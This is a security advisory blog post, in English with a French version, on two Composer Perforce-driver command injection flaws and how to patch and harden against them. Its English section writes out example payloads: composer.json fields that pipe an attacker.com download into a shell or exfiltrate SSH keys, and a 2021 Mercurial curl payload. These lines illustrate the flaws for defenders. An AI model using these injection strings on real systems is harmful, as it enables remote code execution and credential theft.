PHP Composer Security in 2026: Two Command Injection Flaws You Need to Patch Today
On April 14, 2026, the Composer team published a security advisory disclosing two command injection vulnerabilities in its Perforce VCS driver — CVE-2026-40261 (CVSS 8.8, High) and CVE-2026-40176 (CVSS 7.8, High). Both allow an attacker to execute arbitrary operating system commands on your machine during a routine composer install or composer update. The fix is Composer 2.9.6 (or 2.2.27 LTS). If you haven't updated yet, every PHP project on your dev machine and your CI/CD pipelines are potentially at risk.
What makes these vulnerabilities particularly concerning is the attack surface. You do not need to use Perforce, have it installed, or even know what Perforce is. Any package published on any Composer repository — not just Packagist — can declare Perforce as a source type with a malicious source reference. If you install or update that package from source, the injected commands execute. This is a supply chain attack vector built directly into the package manager used by PHP's 71.5% share of the web.
This guide covers the technical root cause of both CVEs, historical context (this is the second time Composer's VCS drivers have been exploited this way), the exact patch commands, and a Composer security hardening checklist for production PHP projects in 2026.
CVE-2026-40261 (CVSS 8.8) — The Network-Reachable Supply Chain Vector
CVE-2026-40261 was discovered by security researcher Koda Reef and carries a CVSS 8.8 score with a Network attack vector — the more critical of the two flaws. The vulnerability lives in the syncCodeBase() method of Composer's Perforce driver at src/Composer/Util/Perforce.php.
How the Attack Works
Composer's Perforce driver builds shell commands by concatenating values from package metadata. In vulnerable versions, the source reference field — which identifies a particular revision in a Perforce depot — was interpolated directly into shell commands without escaping. An attacker can publish a package to any Composer repository (not just Packagist) and set the source.reference field to a string containing shell metacharacters:
# Malicious composer.json in an attacker-controlled package:
{
"name": "vendor/legitimate-looking-package",
"version": "1.0.0",
"source": {
"type": "perforce",
"url": "ssl:perforce.example.com:1666",
"reference": "//depot/main; curl https://attacker.com/payload | sh; echo "
}
}
# When a victim runs: composer install --prefer-source
# Composer internally constructs a command like:
# p4 sync //depot/main; curl https://attacker.com/payload | sh; echo @head
# The semicolons break the p4 command and execute the injected payload
The official Packagist blog described the attack vector clearly: "Any package in any Composer repository can declare perforce as a source type with a malicious source reference. When you install or update that package from source, the injected commands execute on your machine."
The CVSS vector is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. Network-reachable, low complexity, no user interaction required beyond a routine install command.
CVE-2026-40176 (CVSS 7.8) — The Local Configuration Vector
CVE-2026-40176, discovered by saku0512, has a Local attack vector (CVSS 7.8) and targets the generateP4Command() method. This vulnerability requires an attacker-controlled composer.json at the project root — meaning it's the more relevant threat in scenarios where you're running composer install on an untrusted or cloned repository.
# Malicious composer.json in a repository you've cloned:
{
"repositories": [
{
"type": "perforce",
"url": "ssl:perforce.example.com:1666",
"p4-client": "my-client; $(curl https://attacker.com/exfil?data=$(cat ~/.ssh/id_rsa) > /dev/null); echo "
}
],
"require": {
"vendor/package": "1.0.0"
}
}
# The Perforce connection parameters (port, user, client name) were interpolated
# directly into p4 command arguments without shell escaping.
# Result: SSH keys exfiltrated to attacker's server during composer install.
This is a particularly dangerous scenario for PHP agencies that clone client repositories, for open-source contributors reviewing untrusted PRs, or for any CI/CD pipeline that runs composer install on externally-sourced code.
The Shared Root Cause: A Pattern Repeating Itself
Both CVEs share the same root cause, as stated in the official Packagist advisory: "Both vulnerabilities are located in Composer's Perforce VCS driver and involve insufficient escaping of values used in shell command construction."
This is not the first time Composer's VCS driver architecture has produced a critical command injection. In April 2021, CVE-2021-29472 exploited the same pattern in the Mercurial driver. A crafted repository URL beginning with --config could inject arbitrary Mercurial configuration directives, enabling arbitrary command execution. The payload was as simple as:
# CVE-2021-29472 — Mercurial driver, April 2021:
# URL: --config=alias.identify=!curl http://attacker.com --data "$(id)"
# Fix was literally two characters: prepending "--" to separate flags from arguments
At the time, Packagist was handling 1.4 billion download requests per month. The 2021 incident was patched within 24 hours, but the 2026 Perforce vulnerabilities demonstrate that the architectural pattern — building shell commands via string concatenation with user-controlled data — was never fully remediated across all VCS drivers. This is the same category of vulnerability, five years later, in a different driver.
Timeline: From Discovery to Patch
The coordinated disclosure was handled responsibly, with Packagist taking a proactive mitigation step before the public announcement:
- Early April 2026 — Koda Reef reports CVE-2026-40261; saku0512 reports CVE-2026-40176 to the Composer security team
- April 10, 2026 — Packagist.org and Private Packagist preemptively disable all Perforce source metadata on their registries, 4 days before public disclosure. This reduces the risk on the most widely used repository but doesn't protect against private Composer repositories or direct
composer.jsonreferences. - April 14, 2026 — Composer 2.9.6 and Composer 2.2.27 LTS released. CVEs publicly disclosed via Packagist blog, GitHub Advisory Database, and The Hacker News.
- Status at disclosure — "To the best of our knowledge, neither vulnerability has been exploited prior to publication." (Packagist)
Sources: Packagist Blog, The Hacker News, Security Affairs
How to Patch: Update Composer Right Now
The fix is straightforward — update Composer to the patched version. Both the mainline and LTS branches have been patched:
# Check your current Composer version:
composer --version
# Update Composer globally (recommended):
composer self-update
# Or update to a specific patched version:
composer self-update 2.9.6 # mainline
composer self-update 2.2.27 # LTS branch
# Verify the update:
composer --version
# Should output: Composer version 2.9.6 (or 2.2.27)
# ─────────────────────────────────────────
# For CI/CD pipelines (GitHub Actions example):
# ─────────────────────────────────────────
# Update your workflow to pin the Composer version:
- name: Install Composer 2.9.6
run: |
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php composer-setup.php --version=2.9.6
php -r "unlink('composer-setup.php');"
mv composer.phar /usr/local/bin/composer
# Or use the official setup-php action with Composer version pinning:
- uses: shivammathur/setup-php@v2
with:
php-version: '8.3'
tools: composer:v2.9.6
Do not skip the CI/CD update. Your local machine may be patched but your GitHub Actions, GitLab CI, or Bitbucket Pipelines may still be running an older Composer version and pulling packages from source.
Versions Affected
| Branch | Vulnerable Range | Patched Version |
|---|---|---|
| Mainline | >= 2.3.0, < 2.9.6 | 2.9.6 |
| LTS | >= 2.0.0, < 2.2.27 | 2.2.27 |
| Composer 1.x | Not mentioned (EOL) | Upgrade to 2.x |
PHP Composer Security Hardening Checklist for 2026
Beyond patching these two specific CVEs, the Composer ecosystem offers several built-in and community tools to reduce your attack surface. Here's what to implement in every PHP project:
1. Use composer audit in Every Pipeline
Since Composer 2.4, the audit command checks your installed dependencies against the PHP Security Advisories Database. Since Composer 2.7, it also flags abandoned packages with a non-zero exit code, which will fail your CI build:
# Run after every install/update:
composer audit
# In CI: exit non-zero if any vulnerabilities are found
composer audit --no-dev --format=json | tee audit-report.json
# Exit code: 0 = clean, 1 = vulnerabilities found
# Example GitHub Actions step:
- name: Security audit
run: composer audit --no-dev
2. Add roave/security-advisories to Your Project
This meta-package declares conflicts with every package version that has a known security advisory. If you try to install a vulnerable version, Composer will refuse:
composer require --dev roave/security-advisories:dev-latest
3. Use --no-scripts in Untrusted Environments
Composer package scripts execute arbitrary PHP and shell code as part of the install lifecycle. When reviewing untrusted packages or running in sensitive environments, disable this:
composer install --no-scripts
composer update --no-scripts
4. Always Commit and Validate Your composer.lock
The composer.lock file pins exact versions and download URLs for every dependency. In production, always use:
# In production/CI — installs exactly what's in composer.lock, no network resolution:
composer install --no-dev
# Never use "composer update" in production CI without review.
# It resolves the latest compatible versions, which may include newly published malicious packages.
5. Use composer install --prefer-dist Instead of --prefer-source
The CVE-2026-40261 attack requires --prefer-source installation mode (which downloads from VCS repositories). Distribution packages (tarballs from Packagist) are not affected. Unless you specifically need to browse package source code or contribute patches, use dist mode:
# Safe: uses packaged tarballs, not VCS checkout:
composer install --prefer-dist
# Risky: triggers VCS drivers including the vulnerable Perforce driver:
composer install --prefer-source
6. Restrict Package Sources with Repository Allow-listing
If your project only needs packages from Packagist, explicitly disable other repository sources in your composer.json:
{
"repositories": [
{"packagist.org": true}
],
"config": {
"secure-http": true,
"discard-changes": true
}
}
Who Is Most at Risk?
While the patched Packagist.org is no longer a direct attack vector for CVE-2026-40261 (they disabled Perforce source metadata on April 10), the following scenarios still present risk until you patch Composer itself:
- Private Packagist repositories — self-hosted or private Composer registries that have not yet applied Packagist's mitigation may still serve malicious Perforce source references
- VCS-type repositories in
composer.json— projects that define"type": "vcs"repository entries pointing to external URLs - Developer machines with older Composer —
composer update --prefer-sourceon a dev machine running Composer 2.9.5 or earlier - CI/CD pipelines — GitHub Actions, GitLab CI, Bitbucket Pipelines with cached or pinned Composer versions below 2.9.6
- Open-source contributors — running
composer installon externally submitted pull requests with untrustedcomposer.json
The Broader PHP Security Landscape in 2026
These two Composer CVEs arrive at a moment when the overall vulnerability landscape is more demanding than ever. According to Security Boulevard's March 2026 analysis of vulnerability data:
- 48,174 new CVEs were published in 2025 — a historical record, averaging 131 disclosures per day
- 38% of 2025 vulnerabilities were classified High or Critical
- The median time to exploitation after public disclosure is under 5 days
- Web application attacks targeting known CVEs increased 56% in 2025 (6.29 billion incidents)
For PHP specifically, CVE-2024-4577 (CVSS 9.8, arbitrary code execution in the PHP CGI argument injection) remains actively exploited in 2026, with thousands of servers still running unpatched PHP versions. PHP 7 still accounts for 32.5% of PHP-using websites (W3Techs) despite having reached end of life — a significant portion of which likely also run outdated Composer versions.
The combination of a massive PHP install base (71.5% of the web), a dependency manager that executes code on install, and a pattern of VCS driver command injection vulnerabilities makes Composer security a critical item for every PHP team's patch management process.
What About Composer 1.x?
Composer 1.x reached end of life and is no longer receiving security patches. The Packagist advisory does not explicitly cover 1.x, but the same underlying Perforce driver architecture existed in 1.x. If you are still running Composer 1.x, the correct response is to upgrade to Composer 2.x (specifically 2.9.6 or 2.2.27 LTS) — not to wait for a 1.x patch that will never come.
# Check if you're on Composer 1.x:
composer --version | grep "version 1"
# Upgrade to latest Composer 2.x:
composer self-update --2
Frequently Asked Questions
Do I need to use Perforce for CVE-2026-40261 to affect me?
No. The vulnerability is triggered when Composer processes a package that declares Perforce as its source type in its metadata. You don't need to have Perforce installed, configured, or even know what it is. Any package on any Composer repository can declare this, and Composer will attempt to use the Perforce driver when installing from source.
I only install packages from Packagist. Am I safe before patching?
Packagist.org disabled Perforce source metadata on April 10, 2026, 4 days before the public disclosure. For Packagist.org specifically, the attack vector for CVE-2026-40261 has been mitigated at the registry level. However, you may use private Composer repositories, VCS-type repository entries in your composer.json, or CI pipelines that process untrusted code. Patching Composer is still the correct action — don't rely on a third-party registry mitigation as your only defense.
What's the difference between CVE-2026-40261 and CVE-2026-40176?
CVE-2026-40261 (CVSS 8.8) is network-reachable: an attacker who can publish a package to any Composer repository can trigger it on any machine that installs or updates that package from source. CVE-2026-40176 (CVSS 7.8) is local: it requires an attacker-controlled composer.json file at the project root, which typically means you've cloned or are reviewing a malicious repository. Both are fixed in Composer 2.9.6 / 2.2.27.
Is composer install --prefer-dist safe against these CVEs?
Yes, for CVE-2026-40261. The Perforce driver is only invoked during source-mode installation (--prefer-source). Distribution mode downloads pre-packaged tarballs from the registry and does not use VCS drivers. However, patching is still recommended — Composer determines installation mode dynamically and may fall back to source in some cases.
Has this type of vulnerability happened before in Composer?
Yes. CVE-2021-29472 in April 2021 exploited the same pattern in Composer's Mercurial driver — user-controlled values were interpolated into shell commands without proper escaping. At the time, Packagist was handling 1.4 billion download requests per month. The pattern of insufficient escaping in VCS driver command construction has now produced critical vulnerabilities in two separate drivers (Mercurial in 2021, Perforce in 2026).
What should I do if I think my system was compromised?
If you ran composer install --prefer-source or composer update --prefer-source with Composer < 2.9.6 on a package from an untrusted source, assume compromise. Rotate any secrets accessible from your development machine (SSH keys, API tokens, database credentials), audit your Git history for unexpected commits, and check for unauthorized processes or scheduled tasks. The attack vector gives full command execution on the affected machine.
Know When Your PHP Dependencies Have New CVEs
CVE OptiBot scans your composer.lock daily against the OSV.dev database and alerts you within hours of a new vulnerability disclosure — before attackers exploit it.
No code access required — just upload your composer.lock.
Sécurité PHP Composer en 2026 : Deux Injections de Commandes à Patcher Immédiatement
Le 14 avril 2026, l’équipe Composer a publié un avis de sécurité signalant deux vulnérabilités d’injection de commandes dans son driver VCS Perforce — CVE-2026-40261 (CVSS 8.8, Haute) et CVE-2026-40176 (CVSS 7.8, Haute). Ces deux failles permettent à un attaquant d’exécuter des commandes arbitraires du système d’exploitation sur votre machine lors d’un simple composer install ou composer update. Le correctif est Composer 2.9.6 (ou 2.2.27 LTS). Si vous n’avez pas encore mis à jour, chacun de vos projets PHP sur votre machine de développement et vos pipelines CI/CD est potentiellement vulnérable.
Ce qui rend ces vulnérabilités particulièrement préoccupantes, c’est la surface d’attaque. Vous n’avez pas besoin d’utiliser Perforce, de l’avoir installé, ni même de savoir ce que c’est. N’importe quel paquet publié sur n’importe quel dépôt Composer peut déclarer Perforce comme type de source avec une référence malveillante. Si vous installez ou mettez à jour ce paquet depuis la source, les commandes injectées s’exécutent. C’est un vecteur d’attaque supply chain intégré dans le gestionnaire de paquets utilisé par PHP, qui fait tourner 71,5 % du web.
Ce guide couvre la cause technique des deux CVE, le contexte historique (c’est la deuxième fois que les drivers VCS de Composer sont exploités de cette façon), les commandes de patch exactes, et une checklist de durcissement Composer pour vos projets PHP en production.
CVE-2026-40261 (CVSS 8.8) — Le Vecteur Supply Chain Accessible via le Réseau
CVE-2026-40261 a été découverte par le chercheur en sécurité Koda Reef et porte un score CVSS 8.8 avec un vecteur d’attaque réseau — la plus critique des deux failles. La vulnérabilité se trouve dans la méthode syncCodeBase() du driver Perforce de Composer dans src/Composer/Util/Perforce.php.
Comment Fonctionne l’Attaque
Le driver Perforce de Composer construit des commandes shell en concaténant des valeurs issues des métadonnées du paquet. Dans les versions vulnérables, le champ source reference — qui identifie une révision dans un dépôt Perforce — était interprété directement dans des commandes shell sans échappement. Un attaquant peut publier un paquet sur n’importe quel dépôt Composer (pas seulement Packagist) et configurer le champ source.reference avec une chaîne contenant des métacaractères shell.
Le blog officiel de Packagist décrit clairement le vecteur : « N’importe quel paquet dans n’importe quel dépôt Composer peut déclarer Perforce comme type de source avec une référence malveillante. Quand vous installez ou mettez à jour ce paquet depuis la source, les commandes injectées s’exécutent sur votre machine. »
CVE-2026-40176 (CVSS 7.8) — Le Vecteur Configuration Locale
CVE-2026-40176, découverte par saku0512, a un vecteur d’attaque local (CVSS 7.8) et cible la méthode generateP4Command(). Cette vulnérabilité nécessite un composer.json malveillant contrôlé par l’attaquant à la racine du projet — ce qui en fait une menace pertinente dans les scénarios où vous exécutez composer install sur un dépôt non fiable ou cloné.
C’est un scénario particulièrement dangereux pour les agences PHP qui clonent des dépôts clients, pour les contributeurs open-source qui examinent des PR non fiables, ou pour tout pipeline CI/CD qui exécute composer install sur du code de source externe.
Cause Racine Commune : Un Schéma qui se Répète
Les deux CVE partagent la même cause racine : une construction de commandes shell par concaténation de chaînes avec des données contrôlées par l’utilisateur, sans échappement. Ce n’est pas la première fois que l’architecture des drivers VCS de Composer produit une injection de commande critique.
En avril 2021, CVE-2021-29472 avait exploité exactement le même schéma dans le driver Mercurial. Une URL de dépôt commençant par --config pouvait injecter des directives de configuration Mercurial arbitraires. À l’époque, Packagist traitait 1,4 milliard de requêtes de téléchargement par mois. Les vulnérabilités de 2026 sur le driver Perforce démontrent que ce schéma architectural n’a jamais été pleinement corrigé sur l’ensemble des drivers VCS. Même catégorie de vulnérabilité, cinq ans plus tard, dans un driver différent.
Comment Patcher : Mettre à Jour Composer Maintenant
# Vérifier votre version actuelle :
composer --version
# Mettre à jour Composer globalement :
composer self-update
# Ou vers une version spécifique :
composer self-update 2.9.6 # branche principale
composer self-update 2.2.27 # branche LTS
# Vérifier la mise à jour :
composer --version
# Doit afficher : Composer version 2.9.6 (ou 2.2.27)
Ne négligez pas la mise à jour CI/CD. Votre machine locale peut être protégée mais vos GitHub Actions, GitLab CI ou Bitbucket Pipelines tournent peut-être encore avec une version antérieure de Composer qui télécharge des paquets depuis la source.
Checklist de Durcissement Composer 2026 pour les Agences PHP
1. Activer composer audit dans Chaque Pipeline
Depuis Composer 2.4, la commande audit vérifie vos dépendances installées contre la base de données des avis de sécurité PHP. Depuis Composer 2.7, elle signale aussi les paquets abandonnés avec un code de sortie non-zéro :
composer audit
# En CI : échoue si des vulnérabilités sont trouvées
composer audit --no-dev
2. Ajouter roave/security-advisories
Ce méta-paquet déclare en conflit toute version de paquet ayant un avis de sécurité connu. Composer refusera d’installer une version vulnérable :
composer require --dev roave/security-advisories:dev-latest
3. Utiliser --prefer-dist Plutôt que --prefer-source
L’attaque CVE-2026-40261 nécessite le mode d’installation depuis la source. Le mode distribution (tarballs depuis Packagist) n’est pas affecté :
# Sûr : utilise les archives pré-packagées, pas le checkout VCS
composer install --prefer-dist
# Risqué : active les drivers VCS dont le driver Perforce vulnérable
composer install --prefer-source
4. Toujours Commiter et Valider le composer.lock
# En production/CI : installe exactement ce qui est dans composer.lock
composer install --no-dev
# Ne jamais utiliser "composer update" en CI de production sans revue
5. Utiliser --no-scripts en Environnement Non Fiable
composer install --no-scripts
composer update --no-scripts
Questions Fréquentes
Dois-je utiliser Perforce pour être affecté par CVE-2026-40261 ?
Non. La vulnérabilité se déclenche quand Composer traite un paquet qui déclare Perforce comme type de source dans ses métadonnées. Vous n’avez pas besoin d’avoir Perforce installé, configuré, ni même de savoir ce que c’est.
N’installer que depuis Packagist me protège-t-il avant de patcher ?
Packagist.org a désactivé les métadonnées source Perforce le 10 avril 2026. Pour Packagist.org spécifiquement, le vecteur d’attaque de CVE-2026-40261 est atténué au niveau du registre. Mais vous pouvez utiliser des dépôts Composer privés, des entrées de type VCS dans votre composer.json, ou des pipelines CI qui traitent du code non fiable. Patcher Composer reste la bonne action — ne comptez pas sur la mitigation d’un registre tiers comme seule défense.
Quelle est la différence entre CVE-2026-40261 et CVE-2026-40176 ?
CVE-2026-40261 (CVSS 8.8) est accessible via le réseau : un attaquant qui peut publier un paquet sur n’importe quel dépôt Composer peut le déclencher sur n’importe quelle machine qui installe ce paquet depuis la source. CVE-2026-40176 (CVSS 7.8) est local : il nécessite un composer.json malveillant à la racine du projet. Les deux sont corrigés dans Composer 2.9.6 / 2.2.27.
Ce type de vulnérabilité est-il déjà arrivé dans Composer ?
Oui. CVE-2021-29472 en avril 2021 avait exploité le même schéma dans le driver Mercurial de Composer — des valeurs contrôlées par l’utilisateur étaient interprétées dans des commandes shell sans échappement. Le schéma d’échappement insuffisant dans la construction de commandes des drivers VCS a maintenant produit des vulnérabilités critiques dans deux drivers distincts (Mercurial en 2021, Perforce en 2026).
Que faire si je pense que mon système a été compromis ?
Si vous avez exécuté composer install --prefer-source ou composer update --prefer-source avec Composer < 2.9.6 sur un paquet de source non fiable, supposez une compromission. Faites tourner tous les secrets accessibles depuis votre machine (clés SSH, tokens API, identifiants de base de données), auditez votre historique Git pour détecter des commits inattendus, et vérifiez la présence de processus ou tâches planifiées non autorisées.
Soyez Alerté Dès qu’un Nouveau CVE Touche Vos Dépendances PHP
CVE OptiBot scanne votre composer.lock chaque jour contre la base OSV.dev et vous alerte en quelques heures après une nouvelle divulgation de vulnérabilité — avant que les attaquants ne l’exploitent.
Aucun accès au code requis — uploadez simplement votre composer.lock.